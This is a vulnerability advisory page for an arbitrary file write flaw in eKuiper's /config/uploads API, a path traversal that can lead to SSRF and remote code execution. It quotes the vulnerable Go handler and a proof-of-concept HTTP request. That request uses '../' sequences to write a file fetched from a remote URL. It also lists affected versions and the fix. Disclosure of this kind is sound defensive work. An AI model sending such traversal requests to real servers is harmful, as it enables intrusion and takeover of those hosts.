GHSA-gj54-gwj9-x2c6 json
eKuiper /config/uploads API arbitrary file writing may lead to RCE
published last yr. modified 8mo ago also GO-2025-3800
- cvss
- —
- not scored
- cisa kev
- Not listed
- not in CISA's catalog
- epss
- —
- no score, EPSS covers CVEs only
- public exploits
- 0
- none known
Summary
### Summary eKuiper /config/uploads API supports accessing remote web URLs and saving files in the local upload directory, but there are no security restrictions, resulting in arbitrary file writing through ../. If run with root privileges, RCE can be achieved by writing crontab files or ssh keys.
### Details ```go func fileUploadHandler(w http.ResponseWriter, r *http.Request) { switch r.Method { // Upload or overwrite a file case http.MethodPost: switch r.Header.Get("Content-Type") { case "application/json": fc := &fileContent{} defer r.Body.Close() err := json.NewDecoder(r.Body).Decode(fc) if err != nil { handleError(w, err, "Invalid body: Error decoding file json", logger) return } err = fc.Validate() if err != nil { handleError(w, err, "Invalid body: missing necessary field", logger) return }
filePath := filepath.Join(uploadDir, fc.Name) err = upload(fc) ``` - The fc.Name parameter do not safely filtered.
### PoC ``` POST /config/uploads HTTP/1.1 Host: localhost:9081 Content-Type: application/json Content-Length: 89
{ "name": "../../../../tmp/success", "file": "http://192.168.65.254:8888/success" } ``` 
### Impact
Tested and verified only on 1.14.3 and 1.14.1, theoretically all versions using this code could be affected.
1. SSRF 2. Path-Travel 3. May leads to RCE
The reporters is m0d9 from Tencent YunDing Lab.
Patch / fix
- go github.com/lf-edge/ekuiper/v2 2.2.0
Is GHSA-gj54-gwj9-x2c6 in your dependencies? Fencer shows which of your repositories are affected as soon as an advisory lands, and opens the fix as a pull request.
Check with FencerAffected packages
| ecosystem | package | affected | fixed in |
|---|---|---|---|
| go | github.com/lf-edge/ekuiper/v2 | <2.2.0 |
2.2.0 |
| go | github.com/lf-edge/ekuiper | <=1.14.7 all versions |
no fix listed |
Classification
- Weakness
-
- CWE-434 Unrestricted Upload of File with Dangerous Type
References
Sources
- GitHub Advisory GHSA-gj54-gwj9-x2c6
- OSV GO-2025-3800
Fencer Intel keeps one entry per vulnerability: the CVE id wins, then GHSA, and records that alias each other are merged, except that two CVEs always keep separate entries. The same data is available as JSON.